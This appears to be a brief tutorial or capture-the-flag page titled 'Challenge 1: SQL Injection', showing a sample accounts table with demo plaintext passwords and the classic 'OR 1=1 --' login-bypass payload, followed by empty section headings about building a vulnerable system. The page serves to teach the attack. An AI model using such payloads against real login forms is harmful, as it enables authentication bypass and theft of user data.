Challenge 1: SQL Injection
What is SQL injection?
SELECT user_data FROM accounts WHERE username = ? AND password = ? -- An SQL query is evaluated from left to right+----+----------+----------+-----------+
| ID | username | password | user_data |
+----+----------+----------+-----------+
| 1 | admin | 4dM1nPwD | ... |
| 2 | john_doe | password | ... |
+----+----------+----------+-----------+SELECT user_data FROM accounts WHERE username = 'admin' AND password = 'admin' -- returns FalseSELECT user_data FROM accounts WHERE username = 'admin' AND password = 'x' OR 1=1 --' returns true since 1 is always equal to 12 rows affected
+----+----------+----------+-----------+
| ID | username | password | user_data |
+----+----------+----------+-----------+
| 1 | admin | 4dM1nPwD | ... |
| 2 | john_doe | password | ... |
+----+----------+----------+-----------+Creating the vulnerable system



Implementing the vulnerability



Making the attacker's life hell




Conclusion
Last updated